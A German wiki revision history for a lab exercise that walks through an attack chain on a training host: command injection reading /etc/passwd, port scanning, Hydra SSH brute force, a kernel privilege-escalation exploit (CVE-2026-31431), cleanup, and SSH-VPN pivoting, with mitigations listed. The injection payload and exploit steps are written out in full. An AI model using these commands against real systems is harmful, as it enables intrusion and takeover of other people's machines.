Attack Chain Example - Versionsgeschichte

Thomas.will: /* Voraussetzungen */

2026-08-13T14:31:05Z

Voraussetzungen

Thomas.will am 13. August 2026 um 14:30 Uhr

2026-08-13T14:30:45Z

Änderungen zeigen

Thomas.will: /* Phase 1: Command Injection & Reconnaissance */

2026-08-13T14:21:29Z

Phase 1: Command Injection & Reconnaissance

Thomas.will: /* Voraussetzungen */

2026-08-13T14:21:06Z

Voraussetzungen

Thomas.will am 13. August 2026 um 14:20 Uhr

2026-08-13T14:20:36Z

Änderungen zeigen

Thomas.will: /* SSH für Tunnel vorbereiten */

2026-08-13T14:15:18Z

SSH für Tunnel vorbereiten

Thomas.will am 13. August 2026 um 14:11 Uhr

2026-08-13T14:11:20Z

Thomas.will am 13. August 2026 um 14:10 Uhr

2026-08-13T14:10:39Z

Thomas.will: /* Phase 3: SSH Brute-Force mit Hydra */

2026-08-13T13:04:52Z

Phase 3: SSH Brute-Force mit Hydra

Thomas.will: Die Seite wurde neu angelegt: „== VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc == ; Ziel : Diese Lab-Übung zeigt eine realistische Angriffskette: Ausnutzung einer…“

2026-06-15T18:58:01Z

Die Seite wurde neu angelegt: „== VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc == ; Ziel : Diese Lab-Übung zeigt eine realistische Angriffskette: Ausnutzung einer…“

Neue Seite

== VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc ==

; Ziel
: Diese Lab-Übung zeigt eine realistische Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen gecrackte Credentials, und abschließend Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang.

=== Voraussetzungen ===

* VulnSite läuft auf <code>victim.secure.local</code> (192.168.16.213)
* SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
* User <code>christine</code> existiert mit UID 1006 und schlechtem Passwort
* Wordlist <code>bad-passwords.txt</code> mit dem Passwort
* Python3 für Copy Fail Exploit
* Kali Linux mit nmap, Hydra, SSH Client

=== Phase 1: Command Injection & Reconnaissance ===

; 1a. Web-Interface erkunden
: VulnSite unter <code>http://victim.secure.local/</code> aufrufen, <code>host.php</code> anklicken (Command Injection Modul).

; 1b. Vulnerability ausnutzen
: Im Eingabefeld folgende Payload eingeben:
<pre>
xinux.de ; grep bash /etc/passwd
</pre>
: Das Semikolon beendet den <code>host</code>-Befehl und führt danach <code>grep bash /etc/passwd</code> aus. Im Output sichtbar sind alle User mit Login-Shell, z.B.:
<pre>
christine:x:1006:1006:Christine User:/home/christine:/bin/bash
</pre>

; 1c. Erste Reconnaissance
: Notiere die Usernamen mit Shell (<code>/bin/bash</code>, <code>/bin/sh</code>). Ziel-User: <code>christine</code>

=== Phase 2: Port-Scanning ===

; 2a. Standard-Portscan von Kali
: Von Kali aus scannen:
<pre>
nmap -sS 192.168.16.213
</pre>
: Zeigt die Standard-Services (22, 25, 143, 389, 443, 445, 465, 993) sowie dass Port 22 offen ist.

; 2b. All-Ports-Scan
: Suche nach zusätzlichen SSH-Instanzen:
<pre>
nmap -sS 192.168.16.213 -p-
</pre>
: Findet Port 9922 als offen (weitergeleitet an internes SSH auf 10.0.10.123:22).

; 2c. Service-Version
: Bestätige SSH auf 9922:
<pre>
nmap -sV 192.168.16.213 -p 9922
</pre>
: Zeigt <code>OpenSSH 9.2p1 Debian 2+deb12u7</code>.

=== Phase 3: SSH Brute-Force mit Hydra ===

; 3a. Vorbereitung
: Stelle sicher, dass die Wordlist <code>bad-passwords.txt</code> das Passwort für <code>christine</code> enthält (in diesem Lab: <code>112233</code>).

; 3b. Hydra-Angriff
: Starte den Brute-Force:
<pre>
hydra -l christine -P bad-passwords.txt -s 9922 192.168.16.213 ssh
</pre>
: Hydra findet schnell: <code>[9922][ssh] host: 192.168.16.213 login: christine password: 112233</code>

; 3c. SSH-Login
: Mit den gecracten Credentials anmelden:
<pre>
ssh -l christine -p 9922 192.168.16.213
</pre>
: Passwort: <code>112233</code>
: Nach erfolgreicher Authentifizierung landet man in der <code>christine@victim:~$</code> Shell.

=== Phase 4: CVE-2026-31431 (Copy Fail) Privilege Escalation ===

; 4a. Exploit herunterladen
: Vom GitHub-Repository klonen:
<pre>
christine@victim:~$ git clone https://github.com/rootsecdev/cve_2026_31431/
christine@victim:~$ cd cve_2026_31431/
</pre>

; 4b. Vulnerabilität testen
: Zuerst Detector ausführen:
<pre>
christine@victim:~/cve_2026_31431$ python3 test_cve_2026_31431.py
</pre>
: Ausgabe sollte sein:
<pre>
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
</pre>
: Das Kernel-Subsystem <code>algif_aead</code> ist anfällig und kann Page-Cache manipuliert werden.

; 4c. Copy Fail Exploit starten
: Exploit mit Shell-Flag ausführen:
<pre>
christine@victim:~/cve_2026_31431$ python3 exploit_cve_2026_31431.py --shell
</pre>

; 4d. Exploit-Ablauf
: Der Exploit führt folgende Schritte aus:
* Findet Christines UID in <code>/etc/passwd</code>: <code>1006</code>
* Patcht die 4 Bytes der UID im Page-Cache: <code>1006</code> → <code>0000</code>
* Bestätigt Patch erfolgreich (Page-Cache liest jetzt <code>0000</code>)
* Ruft <code>getpwnam('christine')</code> auf: libc sieht jetzt UID 0
* Exec's <code>su christine</code> automatisch

; 4e. Passwort-Eingabe
: Der <code>su</code>-Befehl fragt nach Christines Passwort:
<pre>
Password:
</pre>
: Eingabe: <code>112233</code> (das gleiche SSH-Passwort)

; 4f. Root-Shell
: Erfolgreich:
<pre>
root@victim:~/cve_2026_31431# id
uid=0(root) gid=1006(christine) groups=1006(christine)
</pre>
: UID ist 0 (root), GID bleibt 1006, weil nur die UID-Mapping in <code>/etc/passwd</code> gepatched wurde.

=== Phase 5: Cleanup ===

; 5a. Page-Cache clearen
: Nach erfolgreicher Escalation Cache-Manipulation aufräumen:
<pre>
root@victim:~/cve_2026_31431# echo 3 > /proc/sys/vm/drop_caches
</pre>
: Damit wird die gepatchte <code>/etc/passwd</code> Page aus dem Cache entfernt, die echte Disk-Version wird wieder verwendet.

; 5b. Verifizierung
: Optional: Neue Shell öffnen und verifizieren, dass <code>christine</code> wieder normale UID hat:
<pre>
root@victim:~# su - christine
Password: 112233
christine@victim:~$ id
uid=1006(christine) gid=1006(christine) groups=1006(christine)
</pre>

=== Technischer Hintergrund ===

; Command Injection
: PHP führt Benutzereingabe direkt via <code>shell_exec()</code> aus. Mit dem Semikolon können beliebige Kommandos gehängt werden.

; SSH Port-Forwarding
: Die Firewall (nftables NAT) leitet Traffic auf Port 9922 zu internem SSH um:
<pre>
ip daddr 192.168.16.213 tcp dport 9922 dnat to 10.0.10.123:22
</pre>

; Brute-Force
: Hydra versucht alle Passwörter aus der Wordlist sequenziell. Mit schlechten Passwörtern ist Erfolg wahrscheinlich.

; Copy Fail (CVE-2026-31431)
: Das Kernel-Modul <code>algif_aead</code> im XFRM-Subsystem hat eine Page-Cache-Write-Vulnerability. Durch gezielte Konstruktion von AES-GCM-Operationen lässt sich ein 4-Byte-Schreibzugriff auf beliebige, lesbare Dateien erzielen (hier: <code>/etc/passwd</code>). Die UID wird gepatched, aber <code>/etc/shadow</code> bleibt intakt. PAM validiert das Passwort trotzdem gegen die Shadow-Datei, und <code>su</code> nutzt die gepatchte UID zum <code>setuid(0)</code>.

=== Mitigationen ===

* Kernel-Update auf Version mit upstream-Patch (nach 13. Mai 2026)
* Eingabe-Validierung in PHP-Anwendungen (keine Shell-Eval)
* Starke SSH-Passwörter (nicht in Wordlists)
* nftables Firewall mit strengen Forward-Regeln
* AppArmor/SELinux Profile für Apache/PHP

=== Wiederholung & Varianten ===

; Variante A: Ohne Command Injection
: Direkt zum Port-Scan springen, wenn SSH-Port bekannt ist. Entspricht Social Engineering oder Reconnaissance mit anderen Mitteln.

; Variante B: Anderer Exploit statt Copy Fail
: Dirty Frag, Dirty Pipe oder andere LPE-CVEs (je nach Kernel-Version).

; Variante C: Pivoting ins interne Netz
: Nach root-Zugang auf victim — interne Netzwerk-Infrastruktur (LDAP, Mail-Server auf 10.0.10.0/24) scannen und weiter angreifen.

← Nächstältere Version		Version vom 13. August 2026, 14:15 Uhr
Zeile 140:		Zeile 140:
	*systemctl restart ssh		*systemctl restart ssh

		+	*sudo ssh -w 0:0 root@192.168.16.213 -p 9922
		+
		+
		+	== Adressvergabe ==
		+
		+	=== Auf dem Client ===
		+
		+	;Adresse zuweisen und Interface aktivieren
		+	*sudo ip addr add 10.9.0.1/30 dev tun0
		+	*sudo ip link set tun0 up
		+
		+	=== Auf dem Server it2XX ===
		+
		+	;Adresse zuweisen und Interface aktivieren
		+	*sudo ip addr add 10.9.0.2/30 dev tun0
		+	*sudo ip link set tun0 up
		+
		+	=== Test der Punkt-zu-Punkt-Verbindung ===
		+
		+	;Gegenstelle anpingen
		+	*ping -c 3 10.9.0.2
		+
		+	Erst wenn dieser Ping funktioniert, machen Routing und NAT Sinn.
		+
		+	== Routing und NAT auf dem Server ==
		+
		+	;IP-Forwarding dauerhaft aktivieren
		+	*echo 'net.ipv4.ip_forward=1' \| sudo tee /etc/sysctl.d/99-forward.conf
		+	*sudo sysctl --system
		+
		+	;ACCEPT und NAT einrichten
		+	*iptables -t nat -A POSTROUTING -s 10.9.0.0/30 -j MASQUERADE
		+	*iptables -P FORWARD ACCEPT
		+
		+	== Automatisierung über die ssh-config ==
		+
		+	OpenSSH kann Adressvergabe und Routing selbst anstossen.
		+
		+	;Datei anlegen
		+	*vim ~/.ssh/config
		+
		+	<pre>
		+	Host vpn-it2XX
		+	HostName it2XX.example.net
		+	User root
		+	Tunnel point-to-point
		+	TunnelDevice 0:0
		+	PermitLocalCommand yes
		+	LocalCommand ip addr add 10.9.0.1/30 dev tun0 && ip link set tun0 up && ip route add 192.168.2XX.0/24 via 10.9.0.2
		+	ServerAliveInterval 30
		+	ServerAliveCountMax 3
		+	</pre>
		+
		+	Auf der Serverseite übernimmt ein Skript die Gegenseite:
		+
		+	;Skript anlegen
		+	*sudo vim /usr/local/sbin/tun-up.sh
		+
		+	<pre>
		+	#!/bin/bash
		+	ip addr add 10.9.0.2/30 dev tun0
		+	ip link set tun0 up
		+	</pre>
		+
		+	;Skript ausführbar machen
		+	*sudo chmod 755 /usr/local/sbin/tun-up.sh
		+
		+	;Verbindung starten
		+	*sudo ssh vpn-it2XX

@@ Zeile 124: / Zeile 124: @@
 : UID ist 0 (root), GID bleibt 1006, weil nur die UID-Mapping in <code>/etc/passwd</code> gepatched wurde.
 == Stabilisieren===
@@ Zeile 145: / Zeile 143: @@
 === Phase 5: Cleanup ===

@@ Zeile 4: / Zeile 4: @@
 : Diese Lab-Übung zeigt eine vollständige Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen schwache Credentials, Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang, Stabilisierung des Zugriffs über einen persistenten Benutzer, und abschließend Aufbau eines SSH-VPN, um vom Angreifer-Host (Kali) direkt in das interne DMZ-Segment 10.0.10.0/24 zu pivotieren.
 === Voraussetzungen ===
@@ Zeile 12: / Zeile 13: @@
 * Python3 für Copy Fail Exploit
 * Kali Linux mit nmap, Hydra, SSH Client
 === Phase 1: Command Injection & Reconnaissance ===

@@ Zeile 16: / Zeile 16: @@
 ; 1a. Web-Interface erkunden
-: VulnSite unter <code>http://victim.secure.local/</code> aufrufen, <code>host.php</code> anklicken (Command Injection Modul).
+: VulnSite unter <code>http://victim2XX.secure.local/</code> aufrufen, <code>host.php</code> anklicken (Command Injection Modul).
 ; 1b. Vulnerability ausnutzen

@@ Zeile 6: / Zeile 6: @@
 === Voraussetzungen ===
-* VulnSite läuft auf <code>victim.secure.local</code> (192.168.16.213)
+* VulnSite läuft hinter <code>victim.secure.local</code> (192.168.16.213)
 * SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
 * User <code>christine</code> existiert mit UID 1006 und schlechtem Passwort

@@ Zeile 123: / Zeile 123: @@
 </pre>
 : UID ist 0 (root), GID bleibt 1006, weil nur die UID-Mapping in <code>/etc/passwd</code> gepatched wurde.
 === Phase 5: Cleanup ===
@@ Zeile 177: / Zeile 199: @@
 ; Variante C: Pivoting ins interne Netz
 : Nach root-Zugang auf victim — interne Netzwerk-Infrastruktur (LDAP, Mail-Server auf 10.0.10.0/24) scannen und weiter angreifen.

@@ Zeile 57: / Zeile 57: @@
 ; 3a. Vorbereitung
-: Stelle sicher, dass die Wordlist <code>bad-passwords.txt</code> das Passwort für <code>christine</code> enthält (in diesem Lab: <code>112233</code>).
+: Stelle sicher, dass die Wordlist <code>bad-passwords</code> das Passwort für <code>christine</code> enthält (in diesem Lab: <code>112233</code>).
 ; 3b. Hydra-Angriff
 : Starte den Brute-Force:
 <pre>
-hydra -l christine -P bad-passwords.txt -s 9922 192.168.16.213 ssh
+hydra -l christine -P bad-passwords -s 9922 192.168.16.213 ssh
 </pre>
 : Hydra findet schnell: <code>[9922][ssh] host: 192.168.16.213 login: christine password: 112233</code>